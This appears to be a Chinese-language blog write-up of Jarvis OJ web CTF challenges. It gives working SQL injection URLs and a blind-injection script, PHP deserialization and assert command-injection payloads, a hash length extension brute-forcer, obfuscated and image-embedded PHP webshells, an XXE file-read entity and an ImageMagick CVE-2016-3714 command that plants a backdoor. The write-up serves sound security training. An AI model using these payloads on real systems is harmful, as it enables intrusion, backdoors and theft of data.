Jarvis OJ-Web-WP

前言

这个平台题目不错,刷了一下。

PORT51

Please use port 51 to visit this site.

利用curl 访问:

curl web.jarvisoj.com:32770 --local-port 51

LOCALHOST

localhost access only!!

伪造ip访问:

访问要求输入密码才可以

抓包返回头发现提示:

Hint: "select * from `admin` where password='".md5($pass,true)."'"

思路还是构造闭合语句,构造出'or'开头的字符串,并且or后能够判断为true即可
百度到字符串都可以绕过:

ffifdyop

神盾局的秘密

这里有个通向神盾局内部网络的秘密入口,你能通过漏洞发现神盾局的秘密吗?

查看源码发现文件包含,利用了base64编码:

读一下index.php,得到源码:

<?php 
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>

然后读一下shield.php:

<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
        
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>

给出了flag的路径,审计代码,是一个反序列化操作,可以用来读取任意文件。构造payload:

<?php
class Shield {
    public $file;
    function __construct($filename = '') {
        $this -> file = $filename;
    }
}
$v = new Shield;
$v -> file = 'pctf.php';
$s = serialize($v);
echo $s;
?>
//O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

IN A Mess

连出题人自己都忘了flag放哪了,只记得好像很混乱的样子。

查看源代码发现提示index.phps,访问得到源码:

<?php

error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
    header('Location: index.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'Hahahahahaha';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    require("flag.txt");
}
else
{
    print "work harder!harder!harder!";
}


?>

关键代码是:

if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)

绕过$data只需要用伪协议就可以;重点看对$b的要求:
eregi函数为不区分大小写正则匹配,需要满足111+$b的第一位为1114,但是$b的第一位不能为4并且长度大于5,因此需要绕过eregi函数。

http://web.jarvisoj.com:32780/index.php?id=.&a=php://input&b=%00111111
1112 is a nice lab!


得到字符串应该是下一关的地址,访问,url变为:

http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=1

测试sql注入,测试下,是sql注入,并且回显sql语句。发现有过滤,fuzz下过滤的字符:
过滤了空格,以及union、select、from等关键字,空格采用注释绕过,关键字双写绕过。

//显示位为 3
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*1*/ununionion/*1*/selselectect/*1*/1,2,3#
//数据库为 test
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*1*/ununionion/*1*/selselectect/*1*/1,2,database()#
//表名为 content
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*1*/ununionion/*1*/selselectect/*1*/1,2,group_concat(table_name)/*1*/frfromom/*1*/information_schema.tables/*1*/where/*1*/table_schema=0x74657374#
//字段有 id context title
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*1*/ununionion/*1*/selselectect/*1*/1,2,group_concat(column_name)/*1*/frfromom/*1*/information_schema.columns/*1*/where/*1*/table_name=0x636f6e74656e74#
//flag ******
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*1*/ununionion/*1*/selselectect/*1*/1,2,group_concat(context)/*1*/frfromom/*1*/content#

RE?

咦,奇怪,说好的WEB题呢,怎么成逆向了?不过里面有个help_me函数挺有意思的哦

文件名就给了提示,udf提权的知识。。

MariaDB [(none)]> show variables like "%plugin%";
+-----------------+---------------------------------------------+
| Variable_name   | Value                                       |
+-----------------+---------------------------------------------+
| plugin_dir      | /usr/lib/x86_64-linux-gnu/mariadb18/plugin/ |
| plugin_maturity | unknown                                     |
+-----------------+---------------------------------------------+
2 rows in set (0.00 sec)

MariaDB [(none)]> create function help_me returns string soname 'udf.so';
Query OK, 0 rows affected (0.00 sec)

MariaDB [(none)]> select help_me();
+---------------------------------------------+
| help_me()                                   |
+---------------------------------------------+
| use getflag function to obtain your flag!!
 |
+---------------------------------------------+
1 row in set (0.00 sec)

MariaDB [(none)]> create function getflag returns string soname 'udf.so';
Query OK, 0 rows affected (0.00 sec)

MariaDB [(none)]> select getflag();
+------------------------------------------+
| getflag()                                |
+------------------------------------------+
| PCTF{I****************************}
 |
+------------------------------------------+
1 row in set (0.00 sec)

把udf.so文件复制到文件后需要执行:

chmod 777 udf.so
service mysql restart

flag在管理员手里

只有管理员才能获得flag,你能想办法获得吗?

访问题目提示只有管理员能see flag
抓包看下发现cookie里有身份信息:

直接修改role是没用的,还有个hash。猜测是hash长度扩展攻击。
扫描下网站,发现源码泄露:

下载源码审计:

<body>
    <?php 
        $auth = false;
        $role = "guest";
        $salt = 
        if (isset($_COOKIE["role"])) {
            $role = unserialize($_COOKIE["role"]);
            $hsh = $_COOKIE["hsh"];
            if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
                $auth = true;
            } else {
                $auth = false;
            }
        } else {
            $s = serialize($role);
            setcookie('role',$s);
            $hsh = md5($salt.strrev($s));
            setcookie('hsh',$hsh);
        }
        if ($auth) {
            echo "<h3>Welcome Admin. Your flag is 
        } else {
            echo "<h3>Only Admin can see the flag!!</h3>";
        }
    ?>
    
</body>

hash长度扩展攻击的题目,这里利用工具hash_extender+python.
hash_extender安装编译:

git clone https://github.com/iagox86/hash_extender  
cd hash_extender  
make

编译时可能会报错解决方案:

sudo apt-get install libssl-dev

这里利用一叶飘零师傅的思路:不知道$salt的长度,利用工具和脚本进行爆破。
一叶飘零师傅的脚本:

# -*- coding:utf-8 -*-
from urlparse import urlparse
from httplib import HTTPConnection
from urllib import urlencode
import json
import time
import os
import urllib

def gao(x, y):
        #print x
        #print y
    url = "http://web.jarvisoj.com:32778/index.php"
    cookie = "role=" + x + "; hsh=" + y
        #print cookie
    build_header = {
            'Cookie': cookie,
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:44.0) Gecko/20100101 Firefox/44.0',
            'Host': 'web.jarvisoj.com:32778',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    }
    urlparts = urlparse(url)
    conn = HTTPConnection(urlparts.hostname, urlparts.port or 80)
    conn.request("GET", urlparts.path, '', build_header)
    resp = conn.getresponse()
    body = resp.read()
    return body

for i in xrange(1000):
    print i
    # secret len = ???
    find_hash = "./hash_extender -d ';\"tseug\":5:s' -s 3a4727d57463f122833d9e732f94e4e0 -f md5  -a ';\"nimda\":5:s' --out-data-format=html -l " + str(i) + " --quiet"
    #print find_hash
    calc_res = os.popen(find_hash).readlines()
    hash_value = calc_res[0][:32]
    attack_padding = calc_res[0][32:]
    attack_padding = urllib.quote(urllib.unquote(attack_padding)[::-1])
    ret = gao(attack_padding, hash_value)
    if "Welcome" in ret:
        print ret
        break

脚本在hash_extender安装目录下运行,爆破出盐的长度为12,回显发现flag

Chopper

小明入侵了一台web服务器并上传了一句话木马,但是,管理员修补了漏洞,更改了权限。更重要的是:他忘记了木马的密码!你能帮助他夺回控制权限吗?

访问题目,管理员权限登陆没有权限,抓包发现提示管理员ip,伪造ip没用。。
查看源码发现引用图片的地方很可疑:

又知道管理员ip,尝试访问:

http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/

扫描发现admin目录下存在robots.txt:

分别访问两个文件,trojan.php应该就是木马,然后trojan.php.txt的内容为:

<?php ${("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~");${("#"^"|").("#"^"|")}(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t"));?>

是一段php代码,我们运行下:

Notice: Undefined offset: 360 in D:\phpstudy\PHPTutorial\WWW\ssrf\muma.php(1) : assert code on line 1
Warning: assert(): Assertion "eval($_POST[360])" failed in D:\phpstudy\PHPTutorial\WWW\ssrf\muma.php on line 1

把木马的密码报了出来,接下来利用木马读取文件:

Easy Gallery

"没有什么防护是一个漏洞解决不了的,如果有,那就....."

访问题目简单浏览下功能,发现可以上传文件,观察url发现可能存在文件包含。
简单测试发现对一句话木马进行了过滤,构造上传图片马:

<script language="php">@eval($_POST['v']);</script>
 copy 1.jpg/b+1.php/a v.jpg

返回图片id,然后访问图片:

http://web.jarvisoj.com:32785/uploads/1553261352.jpg


发现包含文件时会拼接.php,于是用%00截断:

Simple Injection

很简单的注入,大家试试?

简单测试下发现利用admin登陆的时候会提示密码错误,用其他用户名登陆会提示用户名错误,注入的思路很明显了,利用登陆的时候提示来盲注。

再看一下过滤的字符:

admin'#  //密码错误
admin' or 1=1#  //用户名错误
admin'/**/or/**/1=1# //密码错误
admin'/**/and/**/1=1# //密码错误
admin'/**/and/**/1=2# //用户名错误

盲注的思路很明显了脚本:

# -*-coding:utf-8
import requests
import string
url = "http://web.jarvisoj.com:32787/login.php"
dic = string.ascii_letters+string.digits
#payload = "admin'/**/and/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()),%s,1))=%s#"
#admin
#payload = "admin'/**/and/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x61646d696e),%s,1))=%s#"
#id user name password
payload = "admin'/**/and/**/ascii(substr((select/**/group_concat(password)/**/from/**/admin),%s,1))=%s#"
#
result = ''
for i in range(1,50):
    for j in dic:
        username = (payload)%(str(i),ord(j))
        data = {'username':username,
        'password':'123456'
        }
        res = requests.post(url = url,data = data,timeout=10)
        if '密码错误' in res.content:
            result += j
            print result
            break


得到密码:334cfb59c9d74849801d5acdcfdaadc3
MD5解码:eTAloCrEP
登陆得到flag:

api调用

请设法获得目标机器/home/ctf/flag.txt中的flag值。

查看源码,抓包,发现go之后发送的数据转化为json形式。是一道XXE的题目,
修改发送的数据,并且修改Content-Typeapplication/xml
构造xml代码读取任意文件:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE content[<!ENTITY ctf SYSTEM "file:///etc/passwd">]>
<content>&ctf;</content>


图片上传漏洞

请设法获取/home/ctf/flag.txt 中的flag值。

先测试下发现可以上传jpg和png,并且返回图片的保存路径和id。扫描下目录发现:

访问test.php发现phpinfo页面。。。没什么思路了。
看了一叶飘零师傅的wp,用了ImageMagick的漏洞,利用CVE-2016-3714.
漏洞就是在正常的png图片带上一个恶意的exif信息,在调用ImageMagick将其处理成.show文件的时候,即可触发命令注入漏洞:

exiftool -label="\"|/bin/echo \<?php \@eval\(\\$\_POST\[x\]\)\;?\> > opt/lampp/htdocs/uploads/x.php; \"" 1553310664.jpg

注意这里 是需要转义两次的意思是要在图片里面带有一个 这样在服务器上echo写入的时候才会保留先上传一次带有后门的图片得到图片路径 然后拼接在发包一次修改 filetype 的参数为 show最后上菜刀得到flag.

PHPINFO

题目给了源码:

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

看到session.serialize_handler想到php session反序列化。
看一下phpinfo(),发现session.upload_progress.enabled为On。session反序列化就是
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。
构造html:

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="test>    <input type="file" name="file" />    <input type="submit" />
</form>

利用反序列化构造payload:

<?php
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'print_r(scandir(dirname(__FILE__)));';
    }
}
$v = new OowoO;
echo serialize($v);
//O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

利用构造的html上传然后抓包修改filename为构造的payload,传入payload的时候需要对引号转义一下:

修改payload读取文件,路径由phpinfo可知:

WEB?

考察js的一道题目,首先输入密码发现"Wrong Password!!",查看源代码,存在app.js,格式化js代码,在线格式网站,格式化之后搜索"Wrong Password!!",发现:

                $.post("checkpass.json", t,
                function(t) {
                    self.checkpass(e) ? self.setState({
                        errmsg: "Success!!",
                        errcolor: b.green400
                    }) : (self.setState({
                        errmsg: "Wrong Password!!",
                        errcolor: b.red400
                    }), setTimeout(function() {
                        self.setState({
                            errmsg: ""
                        })
                    },
                    3e3))
                })

看到一个checkpass函数,定位函数:

r.checkpass = function() {
  var e;
 return (e = r).__checkpass__REACT_HOT_LOADER__.apply(e, arguments)
 }

定位到checkpassREACTHOTLOADER函数:

            key: "__checkpass__REACT_HOT_LOADER__",
            value: function(e) {
                if (25 !== e.length) return ! 1;
                for (var t = [], n = 0; n < 25; n++) t.push(e.charCodeAt(n));
                for (var r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446,337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259], o = [[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]], n = 0; n < 25; n++) {
                    for (var i = 0,
                    a = 0; a < 25; a++) i += t[a] * o[n][a];
                    if (i !== r[n]) return ! 1
                }
                return ! 0
            }

是一个线性方程组,脚本:

import numpy as np
from scipy.linalg import solve
import string
r = np.array([325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259])
o = np.array([[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]])
x = solve(o,r)
flag = ""
for i in range(len(x)):
    char = chr(int(round((x[i]))))
    flag += char
print(flag)

得到flag:QWB{R3ac7_1s_interesting}
ps:js没系统学过,参照的一叶飘零师傅的题解

admin

访问链接没什么思路,扫描源码发现:

访问:

访问得到flag:

inject

Hint1: 先找到源码再说吧~~

访问下,扫描源码:

访问index.php~,得到源码:

<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

通过审计和fuzz发现:
需要desc执行成功才可以后续的查询,否者只会Hello Hacker,第一次遇到这种注入,恶补下基础。。

1、MYSQL中的反引号
反引号是为了区分MYSQL的保留字与普通字符而引入的符号。如果我们的库名、表名或者列名为保留字,为了和保留字区分需要加反引号。

而我们常见的引号 '' 是为了表示字段的值是字符串或者字符的情况

2、MYSQL中的desc
desc最基本的作用是用来排序,还有个用法就是显示表的结构,字段类型,主键,是否为空等属性

再看下语句:

mysqli_query($mysqli,"desc `secret_{$table}`")

要使查询成功,并且在test后拼接注入语句,思想还是闭合,那么可以这么闭合:

mysqli_query($mysqli,"desc `secret_{test`  `union select……}`")

这样一方面使desc语句不报错,返回空,而接下来在:

$sql = "select 'flag{xxx}' from secret_{$table}";

语句里test union select…… 拼接返回:

$sql = "select 'flag{xxx}' from secret_test`  `union select……";

反引号充当了空格,接下来尝试注入,发现利用反引号分割test和union语句不再显示Hello Hacker,fuzz发现存在两种情况要么返回flag{xxx},要么返回 D,猜测返回 D就是报错的情况。
注入语句:

查库:
http://web.jarvisoj.com:32794/index.php?table=test` `union select database() limit 1,1

//61d300

查表:
http://web.jarvisoj.com:32794/index.php?table=test` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1

//secret_flag,secret_test

查字段:
http://web.jarvisoj.com:32794/index.php?table=test` `union select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1,1

//flagUwillNeverKnow

查内容:
http://web.jarvisoj.com:32794/index.php?table=test` `union select group_concat(flagUwillNeverKnow) from secret_flag limit 1,1

//flag{luckyGame~}

babyphp

扫描源码发现存在.git源码泄露:

恢复审计源码:

关键代码:

<?php
if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

审计发现对传入的page没有做任何过滤,然后是拼接到assert函数,思路是拼接page,构造命令执行读取templates下的flag.php,关键在于拼接语句。
payload:

flag','..') === false and system("cat ./templates/flag.php");//

查看源码得到flag。

register

babyxss

1 + 4 =
快来做第一个评论的人吧~